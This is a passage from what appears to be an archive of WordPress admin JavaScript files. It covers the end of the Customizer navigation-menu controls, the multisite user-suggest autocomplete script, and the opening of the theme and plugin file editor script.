control.setting.set( settingValue ); } } } ); /** * wp.customize.Menus.MenuNameControl * * Customizer control for a nav menu's name. * * @class wp.customize.Menus.MenuNameControl * @augments wp.customize.Control */ api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{ ready: function() { var control = this; if ( control.setting ) { var settingValue = control.setting(); control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) ); control.nameElement.bind(function( value ) { var settingValue = control.setting(); if ( settingValue && settingValue.name !== value ) { settingValue = _.clone( settingValue ); settingValue.name = value; control.setting.set( settingValue ); } }); if ( settingValue ) { control.nameElement.set( settingValue.name ); } control.setting.bind(function( object ) { if ( object ) { control.nameElement.set( object.name ); } }); } } }); /** * wp.customize.Menus.MenuLocationsControl * * Customizer control for a nav menu's locations. * * @since 4.9.0 * @class wp.customize.Menus.MenuLocationsControl * @augments wp.customize.Control */ api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{ /** * Set up the control. * * @since 4.9.0 */ ready: function () { var control = this; control.container.find( '.assigned-menu-location' ).each(function() { var container = $( this ), checkbox = container.find( 'input[type=checkbox]' ), element = new api.Element( checkbox ), navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ), isNewMenu = control.params.menu_id === '', updateCheckbox = isNewMenu ? _.noop : function( checked ) { element.set( checked ); }, updateSetting = isNewMenu ? _.noop : function( checked ) { navMenuLocationSetting.set( checked ? control.params.menu_id : 0 ); }, updateSelectedMenuLabel = function( selectedMenuId ) { var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' ); if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) { container.find( '.theme-location-set' ).hide(); } else { container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) ); } }; updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id ); checkbox.on( 'change', function() { // Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well. updateSetting( this.checked ); } ); navMenuLocationSetting.bind( function( selectedMenuId ) { updateCheckbox( selectedMenuId === control.params.menu_id ); updateSelectedMenuLabel( selectedMenuId ); } ); updateSelectedMenuLabel( navMenuLocationSetting.get() ); }); }, /** * Set the selected locations. * * This method sets the selected locations and allows us to do things like * set the default location for a new menu. * * @since 4.9.0 * * @param {Object.<string,boolean>} selections - A map of location selections. * @return {void} */ setSelections: function( selections ) { this.container.find( '.menu-location' ).each( function( i, checkboxNode ) { var locationId = checkboxNode.dataset.locationId; checkboxNode.checked = locationId in selections ? selections[ locationId ] : false; } ); } }); /** * wp.customize.Menus.MenuAutoAddControl * * Customizer control for a nav menu's auto add. * * @class wp.customize.Menus.MenuAutoAddControl * @augments wp.customize.Control */ api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{ ready: function() { var control = this, settingValue = control.setting(); /* * Since the control is not registered in PHP, we need to prevent the * preview's sending of the activeControls to result in this control * being deactivated. */ control.active.validate = function() { var value, section = api.section( control.section() ); if ( section ) { value = section.active(); } else { value = false; } return value; }; control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) ); control.autoAddElement.bind(function( value ) { var settingValue = control.setting(); if ( settingValue && settingValue.name !== value ) { settingValue = _.clone( settingValue ); settingValue.auto_add = value; control.setting.set( settingValue ); } }); if ( settingValue ) { control.autoAddElement.set( settingValue.auto_add ); } control.setting.bind(function( object ) { if ( object ) { control.autoAddElement.set( object.auto_add ); } }); } }); /** * wp.customize.Menus.MenuControl * * Customizer control for menus. * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type * * @class wp.customize.Menus.MenuControl * @augments wp.customize.Control */ api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{ /** * Set up the control. */ ready: function() { var control = this, section = api.section( control.section() ), menuId = control.params.menu_id, menu = control.setting(), name, widgetTemplate, select; if ( 'undefined' === typeof this.params.menu_id ) { throw new Error( 'params.menu_id was not defined' ); } /* * Since the control is not registered in PHP, we need to prevent the * preview's sending of the activeControls to result in this control * being deactivated. */ control.active.validate = function() { var value; if ( section ) { value = section.active(); } else { value = false; } return value; }; control.$controlSection = section.headContainer; control.$sectionContent = control.container.closest( '.accordion-section-content' ); this._setupModel(); api.section( control.section(), function( section ) { section.deferred.initSortables.done(function( menuList ) { control._setupSortable( menuList ); }); } ); this._setupAddition(); this._setupTitle(); // Add menu to Navigation Menu widgets. if ( menu ) { name = displayNavMenuName( menu.name ); // Add the menu to the existing controls. api.control.each( function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show(); widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide(); select = widgetControl.container.find( 'select' ); if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) { select.append( new Option( name, menuId ) ); } } ); // Add the menu to the widget template. widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show(); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide(); select = widgetTemplate.find( '.widget-inside select:first' ); if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) { select.append( new Option( name, menuId ) ); } } /* * Wait for menu items to be added. * Ideally, we'd bind to an event indicating construction is complete, * but deferring appears to be the best option today. */ _.defer( function () { control.updateInvitationVisibility(); } ); }, /** * Update ordering of menu item controls when the setting is updated. */ _setupModel: function() { var control = this, menuId = control.params.menu_id; control.setting.bind( function( to ) { var name; if ( false === to ) { control._handleDeletion(); } else { // Update names in the Navigation Menu widgets. name = displayNavMenuName( to.name ); api.control.each( function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } var select = widgetControl.container.find( 'select' ); select.find( 'option[value=' + String( menuId ) + ']' ).text( name ); }); } } ); }, /** * Allow items in each menu to be re-ordered, and for the order to be previewed. * * Notice that the UI aspects here are handled by wpNavMenu.initSortables() * which is called in MenuSection.onChangeExpanded() * * @param {Object} menuList - The element that has sortable(). */ _setupSortable: function( menuList ) { var control = this; if ( ! menuList.is( control.$sectionContent ) ) { throw new Error( 'Unexpected menuList.' ); } menuList.on( 'sortstart', function() { control.isSorting = true; }); menuList.on( 'sortstop', function() { setTimeout( function() { // Next tick. var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ), menuItemControls = [], position = 0, priority = 10; control.isSorting = false; // Reset horizontal scroll position when done dragging. control.$sectionContent.scrollLeft( 0 ); _.each( menuItemContainerIds, function( menuItemContainerId ) { var menuItemId, menuItemControl, matches; matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' ); if ( ! matches ) { return; } menuItemId = parseInt( matches[1], 10 ); menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' ); if ( menuItemControl ) { menuItemControls.push( menuItemControl ); } } ); _.each( menuItemControls, function( menuItemControl ) { if ( false === menuItemControl.setting() ) { // Skip deleted items. return; } var setting = _.clone( menuItemControl.setting() ); position += 1; priority += 1; setting.position = position; menuItemControl.priority( priority ); // Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value. setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 ); if ( ! setting.menu_item_parent ) { setting.menu_item_parent = 0; } menuItemControl.setting.set( setting ); }); // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); }); }); control.isReordering = false; /** * Keyboard-accessible reordering. */ this.container.find( '.reorder-toggle' ).on( 'click', function() { control.toggleReordering( ! control.isReordering ); } ); }, /** * Set up UI for adding a new menu item. */ _setupAddition: function() { var self = this; this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) { if ( self.$sectionContent.hasClass( 'reordering' ) ) { return; } if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) { $( this ).attr( 'aria-expanded', 'true' ); api.Menus.availableMenuItemsPanel.open( self ); } else { $( this ).attr( 'aria-expanded', 'false' ); api.Menus.availableMenuItemsPanel.close(); event.stopPropagation(); } } ); }, _handleDeletion: function() { var control = this, section, menuId = control.params.menu_id, removeSection, widgetTemplate, navMenuCount = 0; section = api.section( control.section() ); removeSection = function() { section.container.remove(); api.section.remove( section.id ); }; if ( section && section.expanded() ) { section.collapse({ completeCallback: function() { removeSection(); wp.a11y.speak( api.Menus.data.l10n.menuDeleted ); api.panel( 'nav_menus' ).focus(); } }); } else { removeSection(); } api.each(function( setting ) { if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) { navMenuCount += 1; } }); // Remove the menu from any Navigation Menu widgets. api.control.each(function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } var select = widgetControl.container.find( 'select' ); if ( select.val() === String( menuId ) ) { select.prop( 'selectedIndex', 0 ).trigger( 'change' ); } widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove(); }); // Remove the menu to the nav menu widget template. widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove(); }, /** * Update Section Title as menu name is changed. */ _setupTitle: function() { var control = this; control.setting.bind( function( menu ) { if ( ! menu ) { return; } var section = api.section( control.section() ), menuId = control.params.menu_id, controlTitle = section.headContainer.find( '.accordion-section-title' ), sectionTitle = section.contentContainer.find( '.customize-section-title h3' ), location = section.headContainer.find( '.menu-in-location' ), action = sectionTitle.find( '.customize-action' ), name = displayNavMenuName( menu.name ); // Update the control title. controlTitle.text( name ); if ( location.length ) { location.appendTo( controlTitle ); } // Update the section title. sectionTitle.text( name ); if ( action.length ) { action.prependTo( sectionTitle ); } // Update the nav menu name in location selects. api.control.each( function( control ) { if ( /^nav_menu_locations\[/.test( control.id ) ) { control.container.find( 'option[value=' + menuId + ']' ).text( name ); } } ); // Update the nav menu name in all location checkboxes. section.contentContainer.find( '.customize-control-checkbox input' ).each( function() { if ( $( this ).prop( 'checked' ) ) { $( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name ); } } ); } ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * Enable/disable the reordering UI * * @param {boolean} showOrHide to enable/disable reordering */ toggleReordering: function( showOrHide ) { var addNewItemBtn = this.container.find( '.add-new-menu-item' ), reorderBtn = this.container.find( '.reorder-toggle' ), itemsTitle = this.$sectionContent.find( '.item-title' ); showOrHide = Boolean( showOrHide ); if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) { return; } this.isReordering = showOrHide; this.$sectionContent.toggleClass( 'reordering', showOrHide ); this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' ); if ( this.isReordering ) { addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff ); wp.a11y.speak( api.Menus.data.l10n.reorderModeOn ); itemsTitle.attr( 'aria-hidden', 'false' ); } else { addNewItemBtn.removeAttr( 'tabindex aria-hidden' ); reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn ); wp.a11y.speak( api.Menus.data.l10n.reorderModeOff ); itemsTitle.attr( 'aria-hidden', 'true' ); } if ( showOrHide ) { _( this.getMenuItemControls() ).each( function( formControl ) { formControl.collapseForm(); } ); } }, /** * @return {wp.customize.controlConstructor.nav_menu_item[]} */ getMenuItemControls: function() { var menuControl = this, menuItemControls = [], menuTermId = menuControl.params.menu_id; api.control.each(function( control ) { if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) { menuItemControls.push( control ); } }); return menuItemControls; }, /** * Make sure that each menu item control has the proper depth. */ reflowMenuItems: function() { var menuControl = this, menuItemControls = menuControl.getMenuItemControls(), reflowRecursively; reflowRecursively = function( context ) { var currentMenuItemControls = [], thisParent = context.currentParent; _.each( context.menuItemControls, function( menuItemControl ) { if ( thisParent === menuItemControl.setting().menu_item_parent ) { currentMenuItemControls.push( menuItemControl ); // @todo We could remove this item from menuItemControls now, for efficiency. } }); currentMenuItemControls.sort( function( a, b ) { return a.setting().position - b.setting().position; }); _.each( currentMenuItemControls, function( menuItemControl ) { // Update position. context.currentAbsolutePosition += 1; menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order. // Update depth. if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) { _.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) { menuItemControl.container.removeClass( className ); }); menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) ); } menuItemControl.container.data( 'item-depth', context.currentDepth ); // Process any children items. context.currentDepth += 1; context.currentParent = menuItemControl.params.menu_item_id; reflowRecursively( context ); context.currentDepth -= 1; context.currentParent = thisParent; }); // Update class names for reordering controls. if ( currentMenuItemControls.length ) { _( currentMenuItemControls ).each(function( menuItemControl ) { menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' ); if ( 0 === context.currentDepth ) { menuItemControl.container.addClass( 'move-left-disabled' ); } else if ( 10 === context.currentDepth ) { menuItemControl.container.addClass( 'move-right-disabled' ); } }); currentMenuItemControls[0].container .addClass( 'move-up-disabled' ) .addClass( 'move-right-disabled' ) .toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length ); currentMenuItemControls[ currentMenuItemControls.length - 1 ].container .addClass( 'move-down-disabled' ) .toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length ); } }; reflowRecursively( { menuItemControls: menuItemControls, currentParent: 0, currentDepth: 0, currentAbsolutePosition: 0 } ); menuControl.updateInvitationVisibility( menuItemControls ); menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 ); }, /** * Note that this function gets debounced so that when a lot of setting * changes are made at once, for instance when moving a menu item that * has child items, this function will only be called once all of the * settings have been updated. */ debouncedReflowMenuItems: _.debounce( function() { this.reflowMenuItems.apply( this, arguments ); }, 0 ), /** * Add a new item to this menu. * * @param {Object} item - Value for the nav_menu_item setting to be created. * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance. */ addItemToMenu: function( item ) { var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10, originalItemId = item.id || ''; _.each( menuControl.getMenuItemControls(), function( control ) { if ( false === control.setting() ) { return; } priority = Math.max( priority, control.priority() ); if ( 0 === control.setting().menu_item_parent ) { position = Math.max( position, control.setting().position ); } }); position += 1; priority += 1; item = $.extend( {}, api.Menus.data.defaultSettingValues.nav_menu_item, item, { nav_menu_term_id: menuControl.params.menu_id, position: position } ); delete item.id; // Only used by Backbone. placeholderId = api.Menus.generatePlaceholderAutoIncrementId(); customizeId = 'nav_menu_item[' + String( placeholderId ) + ']'; settingArgs = { type: 'nav_menu_item', transport: api.Menus.data.settingTransport, previewer: api.previewer }; setting = api.create( customizeId, customizeId, {}, settingArgs ); setting.set( item ); // Change from initial empty object to actual item to mark as dirty. // Add the menu item control. menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, { type: 'nav_menu_item', section: menuControl.id, priority: priority, settings: { 'default': customizeId }, menu_item_id: placeholderId, original_item_id: originalItemId } ); api.control.add( menuItemControl ); setting.preview(); menuControl.debouncedReflowMenuItems(); wp.a11y.speak( api.Menus.data.l10n.itemAdded ); return menuItemControl; }, /** * Show an invitation to add new menu items when there are no menu items. * * @since 4.9.0 * * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls */ updateInvitationVisibility: function ( optionalMenuItemControls ) { var menuItemControls = optionalMenuItemControls || this.getMenuItemControls(); this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 ); } } ); /** * Extends wp.customize.controlConstructor with control constructor for * menu_location, menu_item, nav_menu, and new_menu. */ $.extend( api.controlConstructor, { nav_menu_location: api.Menus.MenuLocationControl, nav_menu_item: api.Menus.MenuItemControl, nav_menu: api.Menus.MenuControl, nav_menu_name: api.Menus.MenuNameControl, nav_menu_locations: api.Menus.MenuLocationsControl, nav_menu_auto_add: api.Menus.MenuAutoAddControl }); /** * Extends wp.customize.panelConstructor with section constructor for menus. */ $.extend( api.panelConstructor, { nav_menus: api.Menus.MenusPanel }); /** * Extends wp.customize.sectionConstructor with section constructor for menu. */ $.extend( api.sectionConstructor, { nav_menu: api.Menus.MenuSection, new_menu: api.Menus.NewMenuSection }); /** * Init Customizer for menus. */ api.bind( 'ready', function() { // Set up the menu items panel. api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({ collection: api.Menus.availableMenuItems }); api.bind( 'saved', function( data ) { if ( data.nav_menu_updates || data.nav_menu_item_updates ) { api.Menus.applySavedData( data ); } } ); /* * Reset the list of posts created in the customizer once published. * The setting is updated quietly (bypassing events being triggered) * so that the customized state doesn't become immediately dirty. */ api.state( 'changesetStatus' ).bind( function( status ) { if ( 'publish' === status ) { api( 'nav_menus_created_posts' )._value = []; } } ); // Open and focus menu control. api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl ); } ); /** * When customize_save comes back with a success, make sure any inserted * nav menus and items are properly re-added with their newly-assigned IDs. * * @alias wp.customize.Menus.applySavedData * * @param {Object} data * @param {Array} data.nav_menu_updates * @param {Array} data.nav_menu_item_updates */ api.Menus.applySavedData = function( data ) { var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {}; _( data.nav_menu_updates ).each(function( update ) { var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection; if ( 'inserted' === update.status ) { if ( ! update.previous_term_id ) { throw new Error( 'Expected previous_term_id' ); } if ( ! update.term_id ) { throw new Error( 'Expected term_id' ); } oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']'; if ( ! api.has( oldCustomizeId ) ) { throw new Error( 'Expected setting to exist: ' + oldCustomizeId ); } oldSetting = api( oldCustomizeId ); if ( ! api.section.has( oldCustomizeId ) ) { throw new Error( 'Expected control to exist: ' + oldCustomizeId ); } oldSection = api.section( oldCustomizeId ); settingValue = oldSetting.get(); if ( ! settingValue ) { throw new Error( 'Did not expect setting to be empty (deleted).' ); } settingValue = $.extend( _.clone( settingValue ), update.saved_value ); insertedMenuIdMapping[ update.previous_term_id ] = update.term_id; newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']'; newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, { type: 'nav_menu', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); shouldExpandNewSection = oldSection.expanded(); if ( shouldExpandNewSection ) { oldSection.collapse(); } // Add the menu section. newSection = new api.Menus.MenuSection( newCustomizeId, { panel: 'nav_menus', title: settingValue.name, customizeAction: api.Menus.data.l10n.customizingMenus, type: 'nav_menu', priority: oldSection.priority.get(), menu_id: update.term_id } ); // Add new control for the new menu. api.section.add( newSection ); // Update the values for nav menus in Navigation Menu controls. api.control.each( function( setting ) { if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) { return; } var select, oldMenuOption, newMenuOption; select = setting.container.find( 'select' ); oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' ); newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' ); newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) ); oldMenuOption.remove(); } ); // Delete the old placeholder nav_menu. oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set. oldSetting.set( false ); oldSetting.preview(); newSetting.preview(); oldSetting._dirty = false; // Remove nav_menu section. oldSection.container.remove(); api.section.remove( oldCustomizeId ); // Update the nav_menu widget to reflect removed placeholder menu. navMenuCount = 0; api.each(function( setting ) { if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) { navMenuCount += 1; } }); widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove(); // Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options. wp.customize.control.each(function( control ){ if ( /^nav_menu_locations\[/.test( control.id ) ) { control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove(); } }); // Update nav_menu_locations to reference the new ID. api.each( function( setting ) { var wasSaved = api.state( 'saved' ).get(); if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) { setting.set( update.term_id ); setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update(). api.state( 'saved' ).set( wasSaved ); setting.preview(); } } ); if ( shouldExpandNewSection ) { newSection.expand(); } } else if ( 'updated' === update.status ) { customizeId = 'nav_menu[' + String( update.term_id ) + ']'; if ( ! api.has( customizeId ) ) { throw new Error( 'Expected setting to exist: ' + customizeId ); } // Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name). setting = api( customizeId ); if ( ! _.isEqual( update.saved_value, setting.get() ) ) { wasSaved = api.state( 'saved' ).get(); setting.set( update.saved_value ); setting._dirty = false; api.state( 'saved' ).set( wasSaved ); } } } ); // Build up mapping of nav_menu_item placeholder IDs to inserted IDs. _( data.nav_menu_item_updates ).each(function( update ) { if ( update.previous_post_id ) { insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id; } }); _( data.nav_menu_item_updates ).each(function( update ) { var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl; if ( 'inserted' === update.status ) { if ( ! update.previous_post_id ) { throw new Error( 'Expected previous_post_id' ); } if ( ! update.post_id ) { throw new Error( 'Expected post_id' ); } oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']'; if ( ! api.has( oldCustomizeId ) ) { throw new Error( 'Expected setting to exist: ' + oldCustomizeId ); } oldSetting = api( oldCustomizeId ); if ( ! api.control.has( oldCustomizeId ) ) { throw new Error( 'Expected control to exist: ' + oldCustomizeId ); } oldControl = api.control( oldCustomizeId ); settingValue = oldSetting.get(); if ( ! settingValue ) { throw new Error( 'Did not expect setting to be empty (deleted).' ); } settingValue = _.clone( settingValue ); // If the parent menu item was also inserted, update the menu_item_parent to the new ID. if ( settingValue.menu_item_parent < 0 ) { if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) { throw new Error( 'inserted ID for menu_item_parent not available' ); } settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ]; } // If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id. if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) { settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ]; } newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']'; newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, { type: 'nav_menu_item', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); // Add the menu control. newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, { type: 'nav_menu_item', menu_id: update.post_id, section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']', priority: oldControl.priority.get(), settings: { 'default': newCustomizeId }, menu_item_id: update.post_id } ); // Remove old control. oldControl.container.remove(); api.control.remove( oldCustomizeId ); // Add new control to take its place. api.control.add( newControl ); // Delete the placeholder and preview the new setting. oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set. oldSetting.set( false ); oldSetting.preview(); newSetting.preview(); oldSetting._dirty = false; newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) ); } }); /* * Update the settings for any nav_menu widgets that had selected a placeholder ID. */ _.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) { var setting = api( widgetSettingId ); if ( setting ) { setting._value = widgetSettingValue; setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu. } }); }; /** * Focus a menu item control. * * @alias wp.customize.Menus.focusMenuItemControl * * @param {string} menuItemId */ api.Menus.focusMenuItemControl = function( menuItemId ) { var control = api.Menus.getMenuItemControl( menuItemId ); if ( control ) { control.focus(); } }; /** * Get the control for a given menu. * * @alias wp.customize.Menus.getMenuControl * * @param menuId * @return {wp.customize.controlConstructor.menus[]} */ api.Menus.getMenuControl = function( menuId ) { return api.control( 'nav_menu[' + menuId + ']' ); }; /** * Given a menu item ID, get the control associated with it. * * @alias wp.customize.Menus.getMenuItemControl * * @param {string} menuItemId * @return {Object|null} */ api.Menus.getMenuItemControl = function( menuItemId ) { return api.control( menuItemIdToSettingId( menuItemId ) ); }; /** * @alias wp.customize.Menus~menuItemIdToSettingId * * @param {string} menuItemId */ function menuItemIdToSettingId( menuItemId ) { return 'nav_menu_item[' + menuItemId + ']'; } /** * Apply sanitize_text_field()-like logic to the supplied name, returning a * "unnammed" fallback string if the name is then empty. * * @alias wp.customize.Menus~displayNavMenuName * * @param {string} name * @return {string} */ function displayNavMenuName( name ) { name = name || ''; name = wp.sanitize.stripTagsAndEncodeText( name ); // Remove any potential tags from name. name = name.toString().trim(); return name || api.Menus.data.l10n.unnamed; } })( wp.customize, wp, jQuery ); user-suggest.js 0000644 00000004375 15174417325 0007561 0 ustar 00 /** * Suggests users in a multisite environment. * * For input fields where the admin can select a user based on email or * username, this script shows an autocompletion menu for these inputs. Should * only be used in a multisite environment. Only users in the currently active * site are shown. * * @since 3.4.0 * @output wp-admin/js/user-suggest.js */ /* global ajaxurl, current_site_id, isRtl */ (function( $ ) { var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : ''; $( function() { var position = { offset: '0, -1' }; if ( typeof isRtl !== 'undefined' && isRtl ) { position.my = 'right top'; position.at = 'right bottom'; } /** * Adds an autocomplete function to input fields marked with the class * 'wp-suggest-user'. * * A minimum of two characters is required to trigger the suggestions. The * autocompletion menu is shown at the left bottom of the input field. On * RTL installations, it is shown at the right top. Adds the class 'open' to * the input field when the autocompletion menu is shown. * * Does a backend call to retrieve the users. * * Optional data-attributes: * - data-autocomplete-type (add, search) * The action that is going to be performed: search for existing users * or add a new one. Default: add * - data-autocomplete-field (user_login, user_email) * The field that is returned as the value for the suggestion. * Default: user_login * * @see wp-admin/includes/admin-actions.php:wp_ajax_autocomplete_user() */ $( '.wp-suggest-user' ).each( function(){ var $this = $( this ), autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add', autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login'; $this.autocomplete({ source: ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id, delay: 500, minLength: 2, position: position, open: function() { $( this ).addClass( 'open' ); }, close: function() { $( this ).removeClass( 'open' ); } }); }); }); })( jQuery ); theme-plugin-editor.js 0000644 00000061420 15174417325 0011000 0 ustar 00 /** * @output wp-admin/js/theme-plugin-editor.js */ /* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */ if ( ! window.wp ) { window.wp = {}; } wp.themePluginEditor = (function( $ ) { 'use strict'; var component, TreeLinks, __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; component = { codeEditor: {}, instance: null, noticeElements: {}, dirty: false, lintErrors: [] }; /** * Initialize component. * * @since 4.9.0 * * @param {jQuery} form - Form element. * @param {Object} settings - Settings. * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled). * @return {void} */ component.init = function init( form, settings ) { component.form = form; if ( settings ) { $.extend( component, settings ); } component.noticeTemplate = wp.template( 'wp-file-editor-notice' ); component.noticesContainer = component.form.find( '.editor-notices' ); component.submitButton = component.form.find( ':input[name=submit]' ); component.spinner = component.form.find( '.submit .spinner' ); component.form.on( 'submit', component.submit ); component.textarea = component.form.find( '#newcontent' ); component.textarea.on( 'change', component.onChange ); component.warning = $( '.file-editor-warning' ); component.docsLookUpButton = component.form.find( '#docs-lookup' ); component.docsLookUpList = component.form.find( '#docs-list' ); if ( component.warning.length > 0 ) { component.showWarning(); } if ( false !== component.codeEditor ) { /* * Defer adding notices until after DOM ready as workaround for WP Admin injecting * its own managed dismiss buttons and also to prevent the editor from showing a notice * when the file had linting errors to begin with. */ _.defer( function() { component.initCodeEditor(); } ); } $( component.initFileBrowser ); $( window ).on( 'beforeunload', function() { if ( component.dirty ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } return undefined; } ); component.docsLookUpList.on( 'change', function() { var option = $( this ).val(); if ( '' === option ) { component.docsLookUpButton.prop( 'disabled', true ); } else { component.docsLookUpButton.prop( 'disabled', false ); } } ); }; /** * Set up and display the warning modal. * * @since 4.9.0 * @return {void} */ component.showWarning = function() { // Get the text within the modal. var rawMessage = component.warning.find( 